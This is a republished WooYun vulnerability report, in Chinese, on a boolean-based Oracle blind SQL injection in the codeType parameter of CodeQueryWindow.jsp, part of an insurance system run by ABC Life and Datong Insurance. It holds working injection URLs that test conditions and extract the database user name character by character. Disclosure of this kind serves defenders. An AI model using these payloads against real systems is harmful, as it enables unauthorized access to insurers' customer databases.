农银人寿&大童保险同一系统存在Oracle盲注(附验证过程/或涉及更多案例)

admin 2017年5月1日11:35:08评论362 views字数 249阅读0分49秒阅读模式
摘要

2016-04-15: 细节已通知厂商并且等待厂商处理中
2016-04-19: 厂商已经确认,细节仅向厂商公开
2016-04-29: 细节向核心白帽子及相关领域专家公开
2016-05-09: 细节向普通白帽子公开
2016-05-19: 细节向实习白帽子公开
2016-06-03: 细节向公众公开

漏洞概要 关注数(4) 关注此漏洞

缺陷编号: WooYun-2016-196465

漏洞标题: 农银人寿&大童保险同一系统存在Oracle盲注(附验证过程/或涉及更多案例)

相关厂商: CNCERT

漏洞作者: 路人甲

提交时间: 2016-04-15 11:40

公开时间: 2016-06-03 10:20

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: SQL注射

1人收藏


漏洞详情

披露状态:

2016-04-15: 细节已通知厂商并且等待厂商处理中
2016-04-19: 厂商已经确认,细节仅向厂商公开
2016-04-29: 细节向核心白帽子及相关领域专家公开
2016-05-09: 细节向普通白帽子公开
2016-05-19: 细节向实习白帽子公开
2016-06-03: 细节向公众公开

简要描述:

没错都是一个系统的...
或许还涉及更多案例?

夜空中最亮的星
能否听清
那仰望的人
心底的孤独和叹息
夜空中最亮的星
能否记起
曾与我同行
消失在风里的身影
我祈祷拥有一颗透明的心灵
和会流泪的眼睛
给我再去相信的勇气
越过谎言去拥抱你

详细说明:

http://**.**.**.**/bugs/wooyun-2010-0119996

http://**.**.**.**/bugs/wooyun-2015-0119873

http://**.**.**.**/bugs/wooyun-2015-0119996

此注入点与之前已知的上面这几个注入点不同。

http://**.**.**.**/bugs/wooyun-2016-0196048

发了这个洞之后,根据这个漏洞的思路我决定继续去看看它的Js文件。

之前已经发现的漏洞:

http://**.**.**.**/bugs/wooyun-2015-0120530/

他是定位到了/common/easyQueryVer3/EasyQueryVer3.js这个文件

而我这次是定位到了/common/javascript/Common.js这个文件,感觉一般会关注这个名字的JS文件更多。

code 区域
if(strCode=="AgentCode"||strCode=="OccupationCode")
{
//由于代理人数据和职业类别数据的数据量较大,无条件遍历查询时会严重影响汉化显示速度
//特对他们的汉化查询进行了单独处理(有条件单条查询,结果不会再缓存)
urlStr = "../common/jsp/CodeQueryWindow.jsp?codeType=" + strCode+"&codeField="+strCode+"&codeConditon="+strCodeValue;
}
else
{
urlStr = "../common/jsp/CodeQueryWindow.jsp?codeType=" + strCode;
}
//sFeatures = "status:no;help:0;close:0;dialogWidth:10px;dialogHeight:0px;dialogLeft:-1;dialogTop:-1;resizable=1";
//连接数据库进行CODE查询,返回查询结果给strQueryResult

//strQueryResult = window.showModalDialog(urlStr, "", sFeatures);
Request = new ActiveXObject("Microsoft.XMLHTTP");
Request.open("GET", urlStr, false);
Request.send(null);
try
{
strQueryResult = Request.responseText.trim();
}
catch(e1)
{
alert("数据返回出错:"+e1.message);
}

}
}

在这段代码中也发现了可以被我们用来构造URL对数据库进行查询操作的点。

既然会进行查询的操作,就有可能会存在注入,并且这种查询的为boolean盲注可能性大...

于是我构造了URL来测试:

code 区域
http://**.**.**.**:7060/ui/common/jsp/CodeQueryWindow.jsp?codeType=test' OR 3*2*1=6 AND 000477=000477--

农银人寿&大童保险同一系统存在Oracle盲注(附验证过程/或涉及更多案例)

code 区域
http://**.**.**.**:7060/ui/common/jsp/CodeQueryWindow.jsp?codeType=test%27%20OR%203*2*1=6%20AND%20000477=000476--

农银人寿&大童保险同一系统存在Oracle盲注(附验证过程/或涉及更多案例)

显然当我们构造逻辑正确时查询正确执行了。

接下来对其进行验证:

首先还是来确定当前数据库用户名长度

code 区域
http://**.**.**.**:7060/ui/common/jsp/CodeQueryWindow.jsp?codeType=test%27%20OR%203*2*1=6%20AND%20000477=000477%20AND%20length%28SYS_CONTEXT%28%27USERENV%27,%27CURRENT_USER%27%29%29=6--

确定当长度为6时正确回显

农银人寿&大童保险同一系统存在Oracle盲注(附验证过程/或涉及更多案例)

接下来跑一下用户名(本来用Py写了个脚本,但是一直有奇怪的问题,就暂时用Burp来验证下):

code 区域
http://**.**.**.**:7060/ui/common/jsp/CodeQueryWindow.jsp?codeType=test' OR 3*2*1=6 AND 000477=000477 AND length(SYS_CONTEXT('USERENV','CURRENT_USER'))=6 AND ascii(substr(SYS_CONTEXT('USERENV','CURRENT_USER'),1,1))=1--

农银人寿&大童保险同一系统存在Oracle盲注(附验证过程/或涉及更多案例)

得到对应ascii码:

65 71 69 78 67 89

对应得到当前用户为:

AGENCY

上面以农银人寿为例说明了其系统存在的Oracle的布尔型盲注,该系统还应用到了一些其他的保险平台上,以大同保险的影像平台为例:

code 区域
http://**.**.**.**/easyscan/common/jsp/CodeQueryWindow.jsp?codeType=test

农银人寿&大童保险同一系统存在Oracle盲注(附验证过程/或涉及更多案例)

这里虽然页面上看上去没有,但是其实在页面的source中还是有返回的。测试的方式完全和上面一样。

可能还涉及更多的案例(但一些版本已做了一定修复,导致访问查询文件会跳转),尚未找到更多的案例。http://**.**.**.**/khyal/

农银人寿&大童保险同一系统存在Oracle盲注(附验证过程/或涉及更多案例)

漏洞证明:

如上

修复方案:

( ╯□╰ )

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-04-19 10:18

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向保险行业信息化主管部门通报,由其后续协调网站管理单位处置.

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin